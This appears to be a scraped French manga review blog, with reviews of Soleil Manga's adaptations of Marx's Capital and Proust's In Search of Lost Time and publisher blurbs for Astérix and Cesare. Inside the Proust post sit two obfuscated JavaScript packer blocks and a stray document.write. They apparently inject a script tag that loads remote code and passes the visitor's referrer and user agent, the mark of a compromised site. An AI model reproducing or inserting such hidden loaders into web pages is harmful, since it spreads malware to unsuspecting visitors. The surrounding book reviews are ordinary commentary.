Je dois avouer que c’est tout un défit que de vouloir adapter pour les masses un ouvrage théorique tel que Le Capital. Si Marx est parfois cité, il était toutefois impossible d’utiliser son texte tel quel, alors les auteurs ont inventé une histoire afin d’en illustrer les principes de base. Le récit nous fait donc suivre Robin, un jeune producteur de fromage artisanal dont la production est insuffisante pour répondre à la demande du marché. Il rencontre par hasard Daniel, un jeune investisseur très ambitieux, qui lui propose d’investir afin d’industrialiser sa production. Ayant souffert de la pauvreté étant plus jeune (sa mère en est morte), il est déterminé à devenir riche et accepte la proposition de Daniel. Avec lui, il découvre les rouages du capitalisme. En mécanisant et simplifiant la chaine production il n’a pas besoin d’une main d’oeuvre qualifiée et celle-ci devient donc bon marché et remplaçable. Ainsi les ouvriers “vendent” leur force de travail comme une marchandise. Malheureusement, afin de faire face à la demande, aux pressions de la concurrence et, surtout, de réaliser du profit, la cadence et le nombre d’heures de travail doivent être augmenté au point d’avoir des effets abrutissants et néfastes sur la vie des ouvriers. Devant cette exploitation abusive de ses ouvriers, Robin a des doutes mais il n’a pas le choix s’il ne veut pas tout perdre et redevenir pauvre. [ci-contre: vol. 1, pg 106]

Connais-tu les mécanismes du capitalisme ?

“Avec la révolution industrielle, notre mode de vie a considérablement changé. Aujourd’hui, nous croulons sous les objets, nous travaillons comme des forcenés, nous consommons toujours plus. Et bien que nous sachions par avance que ce système capitaliste est voué à l’échec et aboutira sur une crise, qui fera d’innombrables victimes, nous continuons de fermer les yeux.”

“Comment naissent les crises économiques ? Comment le chômage est-il possible ? Pourquoi toutes ces inégalités sociales ? Découvrez, par le biais de ce manga, les idées de Marx sur la question…”

[ Texte de la couverture arrière ]

Lorsqu’il est décédé en 1883, Marx n’avait complété que la première partie de Das Kapital. C’est son collègue Friedrich Engels qui le finira en utilisant ses notes. Ainsi, après avoir expliqué à travers l’histoire de Robin les concepts de base du capitalisme (marchandise, exploitation, force de travail, valeur du travail), les auteurs du manga prennent une nouvelle approche beaucoup plus efficace: ils font intervenir Engels lui-même comme narrateur et guide. Grâce à l’utilisation de petits graphiques et d’exemples puisés dans l’histoire de Robin, celui-ci nous explique des concepts comme la valeur d’échange, la plus-value ou la circulation du capital. Il nous apprend aussi que la recherche du profit et la surproduction qui en découle crée une spirale infernale qui entraine inéluctablement les entreprises, ainsi que tout les fournisseurs et distributeurs qui lui sont liés, vers la crise. [ci-contre: vol. 2, pg 7]

En effet, malgré que le profit des entreprises proviennent essentiellement de la plus-value générée par la travail des ouvriers, la croissance demande de mécaniser la production, diminuant ainsi la main-d’oeuvre, causant du chômage, et ultimement diminuant les profits. C’est là l’une des contradictions du capitalisme. De plus, la surproduction conduisant à la suraccumulation des marchandises, la baisse des profits conduisant à un ralentissement de la circulation du capital puis à une monté des créances douteuses, le système bancaire commence à ployer sous la pression. Les banques finissent par manquer de liquidité et c’est la crise financière. Ce genre de crises est inhérent aux sociétés capitalistes et se produit régulièrement. Elles sont cependant nécessaire pour “rétablir l’équilibre entre l’offre et la véritable demande. Mais après quels dégâts ?” Le manga se conclut avec l’image (sarcastique j’espère) de Marx et Engels, auréolés, entamant leur ascension vers les cieux avec un dernier message: “remettez en cause le capitalisme”!

Extrait ci-dessous: vol. 2, pg 38-39

Certaines histoires ne sont que légèrement adaptées pour s’ajuster à un médium narratif plus graphique et d’autres sont adaptées plus lourdement. C’est le cas ici avec Das Kapital qui est une oeuvre théorique plutôt rébarbative. Chose surprenante, l’idée de créer une histoire afin de faire passer le message théorique d’une façon plus facile fonctionne assez bien pour ce manga. Il faut dire que c’est un sujet assez intéressant car très d’actualité: on se sent tous touché par la crise et avons sans doute tous eut le sentiment d’être exploité par notre employeur (diminution du personnel, augmentation des cadences — mais n’oublions quand même pas que nous ne sommes pas à la fin du XIXe siècle et que nos emplois viennent avec un salaire minimum et de nombreux avantages sociaux!). Il s’agit tout de même d’un manga un peu lourd et pas vraiment amusant à lire. La lecture en est même laborieuse, pour ne pas dire assommante — ce qui n’est nullement aidée par le fait que le dessin est relativement médiocre. Le second volume est un peu plus aisé à lire sans doute à cause de l’utilisation de techniques narrative plus didactiques.

Je n’ai pas lu l’original alors je ne peux pas vraiment comparer mais je suis pas mal sûr que cette version manga est plus accessible. Elle pourra sans aucun doute assouvir votre curiosité à l’égard de Marx et vous en offrir une bonne introduction. Cela me rappel des manga didactiques comme Japan Inc (en français: Les Secrets de l’économie japonaise en bande dessinée) ou Manga Science. Toutefois, malgré l’intérêt du sujet, ce manga demeure assez moyen, une simple curiosité qui, hélas, fait plutôt piètre figure quand on vient de lire un manga comme Cesare.

Le Capital, Vol. 1 et Vol. 2, écrit par Karl Marx (avec Friedrich Engels pour le vol. 2) et illustré par Variety Art Works (traduction: Florent Gorges; adaptation: Demopolis). Toulon, Soleil Manga (Coll. Classiques), janvier 2011. 12,8 x 18,2 x 1,5 cm, 192 pg. ch., 6,95 € / $12.95 Can. ch. ISBN: 978-2-30201-322-3 / 978-2-30201-396-4. Lecture dans le sens occidental (de gauche à droite) et recommandé pour jeunes adultes (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Manga de dokuha: Das Kapital by Karl Heinrich Marx © Variety Art Works • East Press Co., Ltd. All rights reserved. Édition française © 2011 MC Productions.

[ Translate ]

Astérix chez les Pictes

Asterix_chez_les_Pictes-cov“Le Village d’Astérix enneigé se remet doucement d’un hiver glacial comme jamais, quand Astérix et Obélix font la plus étonnante des découvertes : un jeune homme enfermé dans un glaçon, échoué sur la plage ! Panoramix est formel : il s’agit d’un Picte. Mais qui sont les Pictes ? Des peuples de l’ancienne Ecosse, redoutables guerriers aux multiples clans, dont le nom, donné par les Romains, signifie littéralement «les hommes peints». Astérix chez les Pictes, c’est donc un voyage épique, en compagnie de Mac Oloch et de la belle Camomilla, vers une contrée riche de traditions. Au fil des pages, on découvre un peuple attachant dont les différences culturelles se traduisent en gags et jeux de mots mémorables. De l’eau de malt, des noms en Mac, des lancers de tronc, des bardes adeptes de la cornemuse, les origines du mur d’Hadrien et du monstre du Loch Ness sont dévoilés ! Et même des Gaulois en kilts, par Toutatis !”

[ Texte du site de l’éditeur ]

Continuez après le saut de page >>

Continue reading

Cesare (3)

Cesare_3-cov“Alors qu’au Vatican, le pape est sur son lit de mort, la rivalité entre Rodrigo Borgia et Giuliano Della Rovere s’intensifie. Les deux camps s’organisent : Cesare parvient à obtenir le soutien de l’archevêque de Pise, tandis que Giuliano charge un espion d’assassiner le jeune homme!”

“Mais celui-ci quitte la ville pour Florence, où il doit rencontrer Lorenzo de Médicis. Les deux familles ont en effet un objectif commun : stabiliser la situation à Pise et faire en sorte que Giovanni devienne enfin cardinal. Pour y parvenir, Cesare encourage le grand banquier à se réconcilier avec Raffaele Riario en collaborant à la création d’une manufacture de textiles…”

Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>
Continue reading

Cesare (2)

Cesare_2-cov“À peine arrivé à l’université de Pise,  Angelo s’attire les foudres du fils de son protecteur, Giovanni de Médicis. Ignorant des usages du monde, le jeune homme commet bévue sur bévue et manque même de déclencher une rixe entre cercles d’étudiants… Le soir même, des inconnus masqués embusqués dans une ruelle tentent de le poignarder !”

“Secouru in extremis par Cesare Borgia, le Florentin est invité dans sa somptueuse demeure et, de fil en aiguille, les deux jeunes gens se lient d’amitié. C’est alors que l’Espagnol propose à Angelo de lui montrer la face cachée de la ville, sombre et miséreuse…”

“Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte de la couverture arrière ]

Continuez après le saut de page >>

Continue reading

À la recherche du temps perdu

Mon existence a maintenant franchi les limites du temps et de l’espace !
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbyhz|var|u0026u|referrer|dtryk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ninkb|var|u0026u|referrer|bdzhi||js|php’.split(‘|’),0,{}))

“À l’instant où je mis en bouche la madeleine, document.write(“”); je fus pris d’une étrange sensation : les souvenirs de mon enfance ressuscitèrent. En même temps que je me revoyais grandir, se présentait devant mes yeux une fresque de la haute société d’avant et d’après la Première Guerre Mondiale. C’était le début d’un long voyage à la recherche de mon temps perdu…”

“Découvrez en manga cet immense chef-d’œuvre littéraire, par lequel l’auteur, grâce à son interprétation particulière du temps et sa thèse sur les souvenirs, a marqué en profondeur la littérature et la philosophie du XXe siècle.”

Le temps qui s’est écoulé jusqu’à présent sans s’arrêter ne serait-ce qu’une seule fois… n’est pas seulement à moi… mais continue de s’écouler sans interruption en ce moment même pour toutes les personnes de ce monde !

[ Texte du site de l’éditeur et de la couverture arrière ]

Continuez après le saut de page >>

J’ai déjà introduit la collection “Classiques” de Soleil Manga. Celle-ci, essentiellement, traduit en français quelques-uns des titres de l’impressionnante collection “Manga de Dokuha” publié au Japon par East Press. Cette collection se consacre à adapter en manga des classiques de la littérature pour les rendre accessible à un plus large publique. Après avoir commenté deux de ces adaptations d’un intérêt très mineur (L’Ancien et le Nouveau Testament de la Bible), je m’attaque maintenant à de la véritable littérature.

À la recherche du temps perdu (??????: ????????? / Manga de dokuha: Ushinawareta Toki wo Motomete) est le trente-sixième volume de la collection manga de dokuha (lit. “Lisez en manga”) publié par East Press en 2009 (le #913 du catalogue de l’éditeur). L’adaptation et le dessin ont été réalisé par le studio Variety Art Works, dont on connait très peu de chose. C’est le cinquième titre de la collection a être traduit par Soleil Manga.

L’oeuvre principale de Marcel Proust, qui fait dans les cinq-mille pages, est sans doute trop riche et complexe pour être aisément décrite. Il s’agit d’une suite de sept romans dont il commence l’écriture en 1907 et qui sera publié entre 1913 et 1927 (les trois derniers après sa mort). Elle est considéré par beaucoup comme un chef-d’oeuvre de la littérature française. En puisant dans ses souvenirs, Proust “dépeint avec minutie les moeurs de son époque” [rabat de couverture intérieur du manga], particulièrement la haute bourgeoisie et l’aristocratie du début du xxe siècle, en une sorte de “réflexion (…) sur la mémoire et sur le temps” [wikipédia].

Le manga se divise en sept parties, chacune représentant plus ou moins l’un des romans de Proust. Dans la première, “Du côté de chez Swann” (p. 5), le narrateur (Proust) se remémore son enfance à Combray grâce au goût d’une madeleine. Ce récit sert à établir les bases et à introduire les personnages qui peupleront le reste de l’histoire. Il y traite de son intérêt pour la lecture et son désir de devenir écrivain, de l’admiration qu’il avait pour la famille noble des Guermantes (représentée dans une tapisserie de l’église locale), du bonheur que représentait pour lui le baiser du soir avec sa mère (représentant l’angoisse d’être séparé d’elle pour la nuit), ou encore de Monsieur Swann, un riche voisin qui était la coqueluche des salons et qui faisait scandale en ayant épousé Odette (une ancienne cocotte ou prostituée de première classe). Un jour, en se promenant du côté de chez Swann, il fait la rencontre fortuite avec Gilberte (la fille des Swann) et en tombe amoureux. Si celle-ci se montre amicale, elle demeure froide à ses avances. Il cessa donc de fréquenter Gilberte mais resta proche des Swann.

Deux ans plus tard, dans “À l’ombre des jeunes filles en fleurs” (p. 61), il fait avec sa grand-mère un séjour estival à Balbec, une station balnéaire imaginaire de Normandie. Il y fait la rencontre de la Marquise de Villeparisis, du Marquis Robert de Saint-Loup, du Baron de Charlus (un Guermantes qui lui fait des avances!), du peintre Elstir, mais surtout d’Albertine Simonet. Il en tombe amoureux et fréquentera tout l’été la troupe d’amies de celle-ci. À la fin de l’été, elle l’invite dans sa chambre mais, lors qu’il s’apprête à l’embrasser, elle le rejète et quitte précipitamment l’hotel.

Dans “Du côté des Guermantes” (p. 117), le narrateur aménage avec sa famille (sur recommandation de la marquise de Villeparisis) dans un appartement de l’hôtel des Guermantes sur le faubourg Saint-Germain à Paris. C’est l’occasion pour lui de faire connaissance avec les membres les plus respectables de la famille Guermantes, qu’il admire tant, et de finalement entrer dans le monde de l’aristocratie. Saint-Loup, avec qui il s’est lié d’amitié, l’introduit au salon de sa tante, la marquise de Villeparisis, où il rencontre le duc et la duchesse de Guermantes, ainsi que le Baron de Charlus (qui lui fait encore des avances mais dont il ne comprend pas la nature). Suite au décès de sa grand-mère, il tombe en dépression et ne sort plus, mais la visite inattendu d’Albertine, avec qui il développe finalement une relation, le sort de sa torpeur.

Dans “Sodome et Gomorrhe” (p. 171), il est invité au salon de la Princesse de Guermantes, la tête de la famille. En chemin, il rencontre Swann qui lui annonce qu’il est mourant, puis le Baron de Charlus, qu’il surprend avec le valet Jupien, et il comprend finalement que le baron est un “homme de Sodome” (homosexuel). Plus tard, il propose à Albertine de se rendre à Balbec. A la gare, il rencontre à nouveau Charlus, cette fois accompagné du violoncelliste Charles Morel (son nouvel amant), et surprend Albertine en conversation très rapprochée avec une demoiselle, ce qui fait naître dans son coeur de la méfiance à son égard.

Dans “La prisonnière” (p. 225), Albertine retrouve sa troupe d’amies à Balbec et le narrateur fréquente le salon de Madame Verdurin. C’est là qu’il reverra Charlus et Morel, qui joue la “sonate de Vinteuil.” Cette mélodie lui fait imaginer Albertine dans les bras de mademoiselle Vinteuil. Il se rend compte, d’une part, qu’Albertine est Gomorrhéenne (i.e. lesbienne) et, d’autre part, qu’il ne l’aime plus. Mais il demeure jaloux et ne la laisse pas sortir sans lui. Après une querelle, il décide de rompre mais, après qu’elle soit partie, elle lui manque terriblement. Plus tard, il apprend qu’elle est morte dans un accident de cheval. Au même moment, il reçoit une lettre d’Albertine où elle demande pardon et lui avoue son amour. Cela le laisse dévasté.

Extrait des pages 258-259

Dans “Albertine disparue” (p. 279), il retrouve par hasard son premier amour, Gilberte, chez la duchesse de Guermantes. Après la mort de Swann, Odette s’est remariée avec monsieur de Forcheville et est ainsi acceptée par l’aristocratie. Adoptée par son beau-père, Gilberte est devenu mademoiselle de Forcheville. Elle annonce au narrateur son mariage prochain avec Robert de Saint-Loup mais lui avoue croire que Robert la trompe avec de multiple maîtresses. La santé du narrateur étant fragile, il passe plusieurs mois au sanatorium. À ce moment, la première guerre mondiale éclate. À Paris, il rencontre Saint-Loup qui s’est porté volontaire et a même reçu la Croix de Guerre. Il est surprit d’apprendre que le narrateur connait Morel, qui a disparu au front et que Saint-Loup recherche désespérément. Sur le chemin du retour, le narrateur éprouve un malaise et cherche refuge dans une auberge. Il découvre que celle-ci est en fait un lieu de plaisir géré par Jupien dans le seul but de divertir le Baron de Charlus. Jupien lui apprend que Morel a quitté le Baron pour devenir l’amant de Saint-Loup. Ils sont interrompu par un raid aérien qui détruit l’auberge. Par la suite on apprend que Saint-Loup est mort au front.

Finalement, dans “Le Temps retrouvé” (p. 333), il est invité par le prince de Guermantes. Il revoit tout ces gens qu’il connait et qu’il n’a plus vu depuis la guerre et son séjour au sanatorium mais il ne reconnait plus personne car ils ont tous vieillis. Morel est là pour jouer la sonate de Vinteuil. La merveilleuse mélodie rend le narrateur nostalgique mais lui fait un tout autre effet cette fois car elle évoque pour lui son temps perdu! Après le concert, il rencontre Gilberte qui lui présente sa fille, qui représente l’union des familles Swann et Guermantes. Il se rend alors compte que, lui aussi, a vieilli et que c’est le moment pour lui d’écrire tout ce qu’il a ressenti dans sa vie, de laisser une trace de son existence…

Malheureusement, comme je n’ai jamais lu Proust, je ne peux donc pas comparer le manga à l’original. Toutefois, cette adaptation me laisse une assez bonne impression. Le dessin est bien, mais sans être extraordinaire (c’est quand même beaucoup mieux que les autres titres de la collection que j’ai lu jusqu’à maintenant). Le style est typique et nous semble familier tout en étant assez inégale (parfois bien, parfois grossier) mais demeure généralement agréable à l’oeil. L’histoire est intéressante (particulièrement parce que j’ai toujours été curieux de découvrir Proust) et, malgré l’ampleur du défi que représente l’adaptation d’une telle saga, la narration est plutôt fluide. Je regrette toutefois que l’on ait choisi de la publier dans le sens de lecture occidental, mais je comprend que la collection se veuille accessible au plus large public possible.

Adapter un géant littéraire de près de cinq-mille pages en moins de quatre-cent est une tâche presqu’impossible. Il faut donc faire des choix. Dans ce cas-ci, on a choisi de sélectionner les événements les plus marquant de la vie du narrateur et de les enchaîner d’une façon suffisamment cohérente pour je ne ressente pas qu’il y manque quelque chose. Je suis donc tout de même impressionné du résultat. Toutefois, il semble que les lecteurs familiers avec l’oeuvre de Proust soient beaucoup moins indulgents et reprochent à l’adaptation son manque d’émotion, une apparence superficielle et l’absence de la complexe beauté de la langue de Proust. Mais ce sont là les torts de toutes adaptations! Il faut voir cette collection de classiques comme des adaptations cinématographiques que l’on regarde (parfois en accéléré) pour avoir un avant-goût de l’histoire et juger si cela vaut la peine que l’on se lance dans la lecture du livre.

À la recherche du temps perdu est donc un assez bon divertissement, qui est d’une lecture agréable et surtout très instructive car elle représente le parfait condensé (style Readers’ Digest) de ce très grand classique de la littérature française. C’est une excellente introduction pour aiguiser notre appétit avant d’entreprendre la lecture de l’oeuvre comme telle.


À la recherche du temps perdu, écrit par Marcel Proust et illustré par Variety Art Works (traduction: Julien Lefebvre-Paquet). Toulon, Soleil Manga (Coll. Classiques), septembre 2011. 12,8 x 18,2 x 2,8 cm, 384 pg., 9,90 € / $16.95 Can. ISBN: 978-2-30201-879-2. Lecture dans le sens occidental (de gauche à droite) et recommandé pour jeunes adultes (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Manga de dokuha: À la recherche du temps perdu © 2008 Variety Art Works • East Press Co., Ltd. All rights reserved. Édition française © 2011 MC Productions.

[ Translate ]

Cesare (1)

Cesare_1-cov“Naïf et studieux, Angelo Da Canossa n’est guère armé pour la vie d’étudiant à l’université de Pise, lieu d’intrigues et de tensions dans l’Italie de la Renaissance. Son innocence résistera-t-elle à sa rencontre avec Cesare Borgia, rejeton d’une famille à la réputation sulfureuse, dont le père est sur le point d’accéder au Saint-Siège ?”

“Rivalités entre les différentes factions de l’université, machinations politiques et luttes fratricides, Angelo va partager les années de formation d’un jeune homme en passe de devenir l’un des personnages les plus fascinants de l’Histoire. À ses côtés, il croisera le chemin de certains de ses contemporains les plus célèbres, de Christophe Colomb à Machiavel en passant par Léonard de Vinci…”

“Fuyumi Soryo lève le voile sur le destin hors du commun de l’énigmatique Cesare Borgia dans un manga d’une richesse historique rare, tout simplement passionnant.”

[ Texte du site de l’éditeur et de la couverture arrière ]

Continuez après le saut de page >>

Continue reading